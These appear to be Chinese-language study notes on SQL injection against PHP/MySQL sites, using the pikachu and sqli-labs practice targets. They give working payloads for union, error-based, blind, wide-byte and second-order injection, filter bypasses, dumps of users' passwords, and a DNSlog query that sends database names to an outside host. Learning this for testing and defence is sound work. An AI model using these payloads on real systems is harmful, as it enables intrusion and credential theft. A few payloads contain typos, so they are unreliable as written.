sql注入点
前端页面上所有提交数据的地方,如登录,注册,留言板,评论区,搜索,分页等等,只要是提交数据给后台,后台拿着数据和数据库交互了,都可能存在注入点
union联合查询
payload:' union select username,password form users#
union联合查询的字段数要与前表字段数一致,否则报错
sql注入基础分类
按数据类型分类:数字型,字符型,搜索型,xx型
搜索型注入后台数据库使用了模糊匹配
MySQL中的模糊匹配:
select id, email from member where username like "%vin%";
搜索型payload:
vin% ' or 1 = 1#
xx型将参数整体上加小括号作为一个整体
xx型注入时注意闭合小括号
payload:vin') or 1 = 1#
php后端取请求数据
取cookie数据用 $_COOKIE["name"]
$_GET[] 取GET请求中的数据
$_POST 取出POST请求的数据
$REQUEST 都可以取出
$_GET取出查询参数数据,即使是POST请求,但查询参数在url中,也可以被$_GET取出
POST请求,请求体中有数据时,此时后端要用$_POST取数据,且POST请求的请求头中,要有
Content-Type: application/x-www-form-urlencoded 这一键值对
HTTP请求头注入
php取请求头中的数据用$_SERVER,如取出请求头中的User-Agent数据
$_SERVER["HTTP_USER_AGENT"]
在可能与数据库交互的请求头中添加payload,如cookie,user-agent等
MySQL中的变量和函数
查看MySQL中的所有系统变量:show global variables;
查看mysql版本:select @@version;
查看数据库所在的操作系统:select @@version_compile_os;
MySQL中常用的内置函数:
查看当前用户:select user();
查看当前数据库:select database();
查看mysql版本:select version();
报错注入
当页面上无回显时可以考虑报错注入
MySQL中常用的报错函数:updatexml(); extractvalue(); floor();
利用updatexml语法错误爆出当前数据库:
select updatexml(1,concat(0x7e,(select database(),0x7e),1);
利用extractvalue语法错误爆出当前用户:
select extractvalue(1,concat(0x7e,(select user()),0x7e));
payload:
' and updatexml(1,concat(0x7e,(select version()),0x7e),1)#
mysql5.1版本以上有一个默认的数据库information_schema,这个数据库下的tables表存着所有表的元数据信息,其中table_schema,是表对应的库名,还有个columns表,这个表中存着所有字段的元数据信息
爆表名payload:
' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = "pikachu" limit 0,1),0x7e),1)#
爆字段payload:
' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name = "users" limit 0,1),0x7e),1)#
爆字段内容payload:
' and updatexml(1,concat(0x7e,(select password from users limit 0,1),0x7e),1)#
宽字节注入
php中的转义函数:addslashes(),mysql_real_escape_string(),在特殊字符前添加转义字符
在php的配置文件php.ini中添加magic_quotes_gpc=On,开启全局添加转移函数处理sql语句
\ 转义字符的gbk编码为0x5c
在gbk编码中两个十六进制数可以组合成一个汉字,基于此在0x5c前添加0xdf就可以将转义字符合成一个汉字,从而绕过转义函数的处理,宽字节注入就是利用这一特性
如原本的payload:' or 1 = 1# 在经过后端转义处理会失效,此时可以考虑宽字节注入,用bp抓包并进行url编码:%df%27+or+1+%3D+1%23,此时可绕过后端的转义的防御,宽字节注入只限于后端是gbk的编码
偏移量注入
偏移量注入用union select 联合查询,要注意前面的查询字段多,这样才可以进行偏移量注入
知道表名,但不知道列名时可以用偏移量注入,联合查询前面的查询列数要比注入的union后面的查询列数多
select * from member union select users.*, 1, 2, 3 from users;
union select 的特点是前后查询的字段数要一致,否则报错
加密注入
通过前端js代码对数据进行加密,然后以密文传输到服务端,在服务端采用相同的加密算法对数据进行解密,常见的编码加密base64,特点时一串大小写字符带等号
加密注入,先通过bp抓包解密数据,然后注入payload,再进行整体的编码加密,然后发送请求,服务端会自动解密
堆叠注入
MySQL中用分号连接的多个sql语句可以被同时执行
如:select * from users; insert into message values(1, "hello world"); 这两个sql可以被同时执行
当后端采用php连接MySQL时,php中的执行sql语句的函数是mysqli_query()时不支持堆叠查询,这个函数只会执行分号前面的sql语句,如果php中执行sql语句的函数是 mysqli_multi_query() 和mysql_multi_query()时是支持堆叠查询的
SQL Server数据库都支持堆叠查询(任何语言的任何执行sql的函数)
Oracle数据库都不支持堆叠查询任何语言的任何执行sql的函数)
二次注入
以sqli-labs靶场为例(第24关)
第一步注入payload,在注册页面中的用户名处注入恶意代码:admin'#,让其保存到数据库中,形成脏数据
第二步触发payload执行,用刚才注册的用户名密码登录,然后修改密码,修改密码的后端源码为:$sql = "update users set password = '$pass' where username = '$username' and password = '$curr_pass'"; 此时就能修改掉admin用户的密码
中转注入
将数据包发送到中转服务器上可以统一处理,如很多网站采用了base64编码,此时就可以在中转程序上对数据参数做一个base64的编码处理,再发送到中转服务器上的参数就可以自动实现编码
伪静态注入
伪静态网址如:http://192.168.2.12/thread-1-1-1.html
注入点:http://192.168.2.12/thread-1-1' or 1 = 1#-1.html
无回显
php中用mysqli_query()函数执行的sql默认不回显报错信息
php中用mysqli_error()函数可以打印sql语句的报错信息
在php的配置文件php.ini中开启报错显示:display_errors = On,关闭改为Off
盲注
针对于无回显的情况,连报错注入都不回显,可以使用盲注
布尔型盲注
mysql中的内置函数substr("hello",1,2),从字符串中截取子字符串,从第一个字符开始取出长度为2的子字符串,得到结果为:"he"
mysql中的ascii('a')函数可以将字符转换为对应的ASCII码的十进制形式,得到97
select ascii(substr(database(),1,1)); 查询当前数据库的名字,并取出数据库的第一个字符,然后将这个字符转换为ASCII码对应的十进制数,然后与英文字母的ASCII码值作比较,枚举出数据库
payload:vince ' and ascii(substr(database(),1,1)) >= 112#
英文字符的ASCII码值范围:65~90(A-Z) 97~122(a-z)
mysql中的length("hello")函数,可以得出字符串的长度
得到数据库的长度:select length(database());
注入时判断数据库的长度:
vince ' and length(database()) = 7#
先进行数据库长度的猜解,再进行数据库名的每一个字母的猜解
时间型盲注
mysql中的sleep函数,select sleep(3); 休眠3秒中
payload: vince ' and sleep(6)#
有延时效果说明存在sql注入点
mysql中的if语句:
if(a > b, 表达式1,表达式2) 如果a>b为真,执行表达式1,否则执行表达式2
select if(2 > 1, "yes", "no"); 结果为yes
select if(2>1, sleep(5), "no"); 可以通过是否有延时来猜解数据
猜解数据库名:
select if(substr(database(),1,1) = 'p', sleep(5),1);
通过延时效果猜解数据库的第一个字母
payload:vince' and if(substr(database(),1,1) = 'p', sleep(5),null)#
时间型盲注常用的函数:
sleep(5) benchmark(1000000, md5(123)) benchmark是根据执行次数和执行时间达到延时的效果
DNSlog注入
利用mysql中的load_file()函数,不仅可以加载本地文件,还可以发送网络请求
具备DNSlog日志记录的网站:
http://ceye.io/
http://dnslog.cn/
load_file函数mysql默认是禁用的,开启load_file函数的使用,在mysql的配置文件my.ini中,在[mysqld]下添加 secure_file_priv="" 开启sql语句对文件的读写功能(load_file函数)
load_file读取本地文件: select load_file("c:\\aa.txt");
laod_file访问网址: select load_file("\\\\aaa.ceye.io");
获取数据库信息: select load_file(concat("\\\\",database(),.,"afae.ceye.io"));
绕过代码防御
前端代码绕过
如一些登录页面,会在前端做格式校验,此时需输入正确的数据格式,就能过js代码的格式校验,然后就可以通过bp抓包,注入payload
后端代码绕过
1 过滤关键字
如后端对发送过来的数据进行了关键字过滤,如select,可以尝试大写SELECT来绕过
2 关键字替换
php中的str_replace()函数替换字符串,只替换一次
如后端代码:str_replace("select", "", "select * from users"); 是将select替换为空字符串,此时可以通过大小写混合绕过和双写绕过(selselectect * from users)
3 强类型转换
如提交的参数为:id=1 or 1 = 1
后端取出数据:$id = $_POST["id"]
类型转换:$id_int = intval($id) 此时转换报错,无法进行下一步的sql执行
后端sql语句:select * from users where id = $id_int
这种情况可以转换思路考虑重新寻找字符型注入漏洞
4 添加转移字符
后端对发送过来的数据做了特殊字符的转义处理,可以考虑宽字节注入或对引号进行特殊编码
读取数据库数据
用 order by 探测查询列数
后端代码:select id, email from member where username = '$name';
探测列数payload:vince' order by 1,2# 没报错说明列数猜对,查询了两个字段
mysql中的group_concat()函数,可以将查出来的多个字符串拼接成一个字符串,默认分隔符 ','
探测mysql中的所有数据库:
vince' union select 1, group_concat(schema_name) from information_schema.schemata#
information_schema库中的schemata表存着所有库的元数据信息,schema_name是库名字段
获取当前数据库中的所有表名:
vince' union select 1, group_concat(table_name) from information_schema.tables where table_schema = database()#
获取pikachu库中users表的所有字段名:
' union select 1, group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'users'#
获取users表中的具体数据:
' union select 1, group_concat(id,0x7c,username,0x7c,password,0x7c,level,0x7c) from users#
0x7c是|的十六进制表示,用于字符串之间的拼接分割标识